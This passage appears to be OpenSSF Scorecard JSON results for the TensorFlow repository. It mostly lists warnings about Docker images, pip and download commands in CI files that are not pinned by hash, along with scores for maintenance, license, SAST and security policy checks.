tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: 